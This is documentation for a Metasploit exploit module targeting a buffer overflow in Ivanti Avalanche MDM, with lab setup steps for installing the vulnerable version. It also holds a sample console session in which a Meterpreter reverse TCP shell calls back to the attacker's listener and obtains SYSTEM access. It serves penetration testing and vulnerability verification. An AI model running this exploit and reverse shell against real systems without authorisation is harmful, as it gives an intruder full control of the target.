## Vulnerable Application

Ivanti Avalanche powered by Wavelink is a mobile device management system. Network security
features allow you to manage wireless settings (including encryption and authentication),
and apply those settings on a schedule throughout the network. Software distribution features
allow you to schedule software distribution to specific devices from the Avalanche Console.
Avalanche also provides tools for managing alerts and reports.

This module exploits a buffer overflow condition in Ivanti Avalanche MDM versions before `v6.4.1`.
An attacker can send a specially crafted message to the Wavelink Avalanche Manager,
which could result in arbitrary code execution with the `NT/AUTHORITY SYSTEM` permissions.
This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types.
The program tries to copy the item data using `qmemcopy` to a fixed size data buffer on stack.
Upon successful exploitation the attacker gains full access to the target system.

The original analysis and the vulnerability discovery is done by the Tenable.
Check [here](https://www.tenable.com/security/research/tra-2023-27) for public advisory.

## Installation
The software requires a version of MSSQL Server to be installed. The installation
instructions use MSSQL Server 2012, but 2016 and 2017 worked for my setup. Ensure that
`SQL Server and Windows Authentication Mode` is selected as the default for
server authentication. This can either be done at installation or via
SQL Server Management Studio, available from https://learn.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms.

1. Open SQL Server Management Studio and connect to the instance
2. Right click on the instance and select `Properties`
3. Click the `Security` page
4. Underneath `Server Authentication`, select `SQL Server and Windows Authentication Mode` and `Ok`.
5. Open SQL Server Configuration Manager -> SQL Server Network Configuration -> Protocols for MSSQLSERVER -> TCP/IP
Change from Disable to Enabled.
6. SQL Server Configuration Manager -> SQL Server Services -> Stop all Services -> Start just the SQL Server (MSSQLSERVER) service.
7. Go back to SQL Server Management Studio.
8. Security -> Logins -> sa -> Right click -> Select Properties -> Status -> Toggle Login to Enabled -> Ok
9. Execute the following SQL statement in SQL Server Management Studio: `ALTER LOGIN sa WITH PASSWORD = 'theSAUser123';`
10. You should now be able to run the installer and set the hostname to `127.0.0.1`,
set the username to `sa`, and the password to `theSAUser123`.
11. Now you can proceed to installing the Ivanti Avalanche MDM software.

For installing the vulnerable Ivanti Avalanche MDM version follow the steps below,
1. To obtain the vulnerable versions of the MDM setup, first create a customer account at
[Ivanti](https://success.ivanti.com/customers/Community_RegStep1_Page?lp=register) (trial license is sufficient)
2. Navigate [here](https://www.wavelink.com/Download-Avalanche_Mobile-Device-Management-Software/)
and download any version **below** `v6.4.1`
3. Follow the installation steps.

After these steps, the MDM service should be accessible on port 1777.
**Note: If MDM port is not listening or unresponsive, try restarting the 'Wavelink Avalanche Manager' service.**

In case the above doesn't work, instructions for installing Ivanti Avalanche can be found
[here](https://forums.ivanti.com/s/article/Best-Known-Method-for-installing-Avalanche-6-x-using-MSSQL-Server-2008-R2-Express-DB-or-2012-Express-Advanced)

## Verification Steps

1. msfconsole
2. Do: `use exploit/windows/misc/ivanti_avalanche_mdm_bof`
3. Do: `set RHOST [IP]`
4. Do: `run`
5. You should get a session.

## Options

## Scenarios

```
msf > use exploit/windows/misc/ivanti_avalanche_mdm_bof
[*] Using configured payload windows/meterpreter/reverse_tcp
msf exploit(windows/misc/ivanti_avalanche_mdm_bof) > set rhosts 192.168.56.109
rhosts => 192.168.56.109
msf exploit(windows/misc/ivanti_avalanche_mdm_bof) > set lhost 192.168.56.1
lhost => 192.168.56.1
msf exploit(windows/misc/ivanti_avalanche_mdm_bof) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.109:1777 - Connecting to target...
[*] 192.168.56.109:1777 - Sending payload...
[*] Sending stage (175686 bytes) to 192.168.56.109
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.109:49967) at 2023-08-25 19:15:42 +0200

meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter >

```
